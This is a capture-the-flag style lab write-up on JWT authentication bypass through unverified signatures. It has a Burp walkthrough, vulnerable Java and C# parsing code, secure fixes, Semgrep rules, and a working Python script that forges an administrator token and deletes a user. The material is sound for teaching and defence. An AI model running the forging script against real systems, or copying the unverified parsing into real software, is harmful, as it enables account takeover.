Post

Lab 01: JWT authentication bypass via unverified signature

Lab 01: JWT authentication bypass via unverified signature

1. Executive Summary

Vulnerability: Broken Authentication (JWT Signature Bypass).

Description: The application uses JSON Web Tokens (JWT) for session management. However, the backend decodes the token to read the user claims (like sub) but fails to verify the cryptographic signature. This allows an attacker to modify the payload (e.g., changing the user ID) without needing to sign the token with the server’s secret key.

Impact: Privilege Escalation / Account Takeover. An attacker can forge a token for any user, including administrators, simply by editing the JSON payload.

2. The Attack

Objective: Access the admin panel by forging a JWT for the administrator user.

  1. Reconnaissance:
    • I logged in as wiener.
    • I inspected the session cookie and identified it as a JWT (format: header.payload.signature).
    • I sent the request GET /admin to Burp Repeater. It returned 401 Unauthorized because I was logged in as a standard user.
  2. Exploitation:
    • In Burp Inspector, I viewed the decoded payload of the JWT.
    • I located the sub (subject) claim, which was set to wiener.
    • I changed the value of sub to administrator.
    • I clicked Apply changes. This updated the Base64 encoded payload in the request string. Crucially, I did not update the signature (because I don’t know the secret key), leaving the original signature or an invalid one attached.
  3. Result:
    • I sent the modified request to /admin.
    • The server accepted the token and returned the admin panel HTML.
    • I found the delete link (/admin/delete?username=carlos) and executed it.

3. Code Review

Vulnerability Analysis (Explanation):

The flaw occurs when developers treat a JWT as a simple data carrier (like a JSON object) rather than a cryptographic credential. They use methods that “read” or “decode” the token instead of methods that “validate” or “verify” it.

Java (Spring Boot / jjwt)

1
2
3
4
5
6
7
8
9
10
11
12
public Claims getClaims(String token) {
    // VULNERABLE: Parsing without verifying the signature
    String[] splitToken = token.split("\\.");
    String unsignedToken = splitToken[0] + "." + splitToken[1] + ".";

    // Or using a library method that only parses:
    DefaultJwtParser parser = new DefaultJwtParser();
    // parse() just decodes the Base64; it doesn't check the signature
    Jwt<?, ?> jwt = parser.parse(token); 
    
    return (Claims) jwt.getBody();
}

Technical Flow & Syntax Explanation:

  • parser.parse(token): In older versions of the jjwt library, the parse() method (without arguments) simply decodes the token structure. It does not enforce signature validation unless a signing key has been explicitly set via setSigningKey().
  • split("\\."): Even worse, some manual implementations simply split the string by dots, Base64-decode the second part (the payload), and trust the JSON inside. This completely ignores the third part (the signature).

C# (ASP.NET Core)

1
2
3
4
5
6
7
8
9
10
public ClaimsPrincipal GetPrincipal(string token)
{
    var handler = new JwtSecurityTokenHandler();
    
    // VULNERABLE: ReadJwtToken ONLY reads the data. It performs NO validation.
    var jwtToken = handler.ReadJwtToken(token);

    var claims = new List<Claim>(jwtToken.Claims);
    return new ClaimsPrincipal(new ClaimsIdentity(claims, "jwt"));
}

Technical Flow & Syntax Explanation:

  • JwtSecurityTokenHandler: The standard class in .NET for handling JWTs.
  • ReadJwtToken(token): This method is a deserializer. It turns the Base64 string into a JwtSecurityToken object so you can read properties like Issuer or Claims. It does not check if the token was signed or if it has expired. It assumes the caller simply wants to read the data.

Mock PR Comment

The authentication logic currently parses the JWT to extract user claims but fails to verify the signature. This allows any user to modify their token payload and impersonate others.

Recommendation: Replace the parsing logic with a verification routine that uses the application’s secret key. In C#, use ValidateToken. In Java, use parser.setSigningKey(...).parseClaimsJws(...).

4. The Fix

Explanation of the Fix:

We must switch from “Reading” to “Validating”. This requires providing the cryptographic key (Secret or Public Key) to the library. The library will then re-calculate the signature based on the header+payload and match it against the signature provided in the token. If they don’t match, it throws an exception.

Secure Java

1
2
3
4
5
6
7
public Claims getClaims(String token) {
    // SECURE: We enforce signature verification using the Secret Key
    return Jwts.parser()
            .setSigningKey(SECRET_KEY) // 1. Set the Key
            .parseClaimsJws(token)     // 2. Parse JWS (Signed JWT)
            .getBody();
}

Technical Flow & Syntax Explanation:

  • setSigningKey(SECRET_KEY): Configures the parser with the known secret.
  • parseClaimsJws(token): This method specifically expects a JWS (Signed JWT). If the signature is invalid, missing, or created with a different key, this method throws a SignatureException, halting the execution flow and preventing the login.

Secure C#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public ClaimsPrincipal Validate(string token)
{
    var handler = new JwtSecurityTokenHandler();
    var parameters = new TokenValidationParameters
    {
        ValidateIssuerSigningKey = true,
        IssuerSigningKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(SECRET_KEY)),
        ValidateAudience = false,
        ValidateIssuer = false
    };

    // SECURE: ValidateToken checks the signature and throws on failure
    SecurityToken validatedToken;
    return handler.ValidateToken(token, parameters, out validatedToken);
}

Technical Flow & Syntax Explanation:

  • TokenValidationParameters: Defines the strict rules for the token.
  • ValidateIssuerSigningKey = true: Explicitly turns on signature verification.
  • handler.ValidateToken(...): This is the gatekeeper. It performs the cryptographic math. If the attacker changed sub: "admin", the signature calculation will differ from the signature in the string, and this method will throw a SecurityTokenInvalidSignatureException.

5. Automation

A Python script that creates a forged token with the modified payload (keeping the original signature to satisfy format, though the server ignores it).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python3
import argparse
import requests
import base64
import json
import sys

def pad_base64(data):
    # JWT base64url encoding strips padding, we might need to add it back for decoding
    missing_padding = len(data) % 4
    if missing_padding:
        data += '=' * (4 - missing_padding)
    return data

def exploit_jwt_none(url, username, password):
    s = requests.Session()
    login_url = f"{url.rstrip('/')}/login"
    
    print(f"[*] Logging in as {username}...")
    s.post(login_url, data={'username': username, 'password': password})
    
    # 1. Capture the original Token
    session_cookie = s.cookies.get('session')
    if not session_cookie:
        print("[-] No session cookie found.")
        return

    print(f"[*] Original Token: {session_cookie}")
    
    # 2. Split Token
    header_b64, payload_b64, signature_b64 = session_cookie.split('.')
    
    # 3. Decode Payload
    payload_str = base64.urlsafe_b64decode(pad_base64(payload_b64)).decode()
    payload = json.loads(payload_str)
    
    print(f"[*] Decoded Payload: {payload}")
    
    # 4. Modify Payload
    payload['sub'] = 'administrator'
    print(f"[*] Forged Payload: {payload}")
    
    # 5. Re-Encode Payload
    # Remove whitespace separators from JSON dumping for JWT spec compliance
    new_payload_str = json.dumps(payload, separators=(',', ':'))
    new_payload_b64 = base64.urlsafe_b64encode(new_payload_str.encode()).decode().rstrip('=')
    
    # 6. Reconstruct Token
    # We keep the old signature (or garbage) because the server doesn't verify it
    forged_token = f"{header_b64}.{new_payload_b64}.{signature_b64}"
    
    # 7. Attack
    print("[*] Sending request to /admin with forged token...")
    s.cookies.set('session', forged_token)
    
    resp = s.get(f"{url.rstrip('/')}/admin")
    
    if resp.status_code == 200 and "Admin panel" in resp.text:
        print("[!!!] SUCCESS: Admin panel accessed.")
        
        # Delete Carlos
        delete_url = f"{url.rstrip('/')}/admin/delete?username=carlos"
        s.get(delete_url)
        print("[+] Carlos deleted.")
    else:
        print(f"[-] Failed. Status: {resp.status_code}")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("url", help="Lab URL")
    ap.add_argument("username", help="Your username (wiener)")
    ap.add_argument("password", help="Your password (peter)")
    args = ap.parse_args()

    exploit_jwt_none(args.url, args.username, args.password)

if __name__ == "__main__":
    main()

6. Static Analysis (Semgrep)

Java Rule

1
2
3
4
5
6
7
8
9
10
11
12
13
rules:
  - id: java-jwt-no-verification
    languages: [java]
    message: "JWT parsing detected without signature verification."
    severity: ERROR
    patterns:
      - pattern-either:
          - pattern: |
              // Vulnerable: Using parse() which implies no key set
              Jwts.parser().parse($TOKEN);
          - pattern: |
              // Vulnerable: Manual split
              $TOKEN.split("\\.")[1];

Technical Flow & Syntax Explanation:

  • Jwts.parser().parse($TOKEN): This pattern looks for the parse method called directly on a parser instance without the intermediate parseClaimsJws or setSigningKey calls.
  • $TOKEN.split: Flags manual string manipulation, which is a common heuristic for insecure “home-rolled” JWT handling.

C# Rule

1
2
3
4
5
6
7
8
9
10
11
12
13
rules:
  - id: csharp-jwt-read-no-validate
    languages: [csharp]
    message: "JWT read without validation. Use ValidateToken instead of ReadJwtToken."
    severity: ERROR
    patterns:
      - pattern: |
          new JwtSecurityTokenHandler().ReadJwtToken(...)
      - pattern-not-inside: |
          // We ignore if ValidateToken is also present in the same block
          ...
          $HANDLER.ValidateToken(...);
          ...

Technical Flow & Syntax Explanation:

  • ReadJwtToken: Identifies the insecure deserialization method.
  • pattern-not-inside: This clause reduces false positives. If the code calls ReadJwtToken (to get claims easily) but also calls ValidateToken nearby (to check security), it is considered safe. If ReadJwtToken stands alone, it is vulnerable.
This post is licensed under CC BY 4.0 by the author.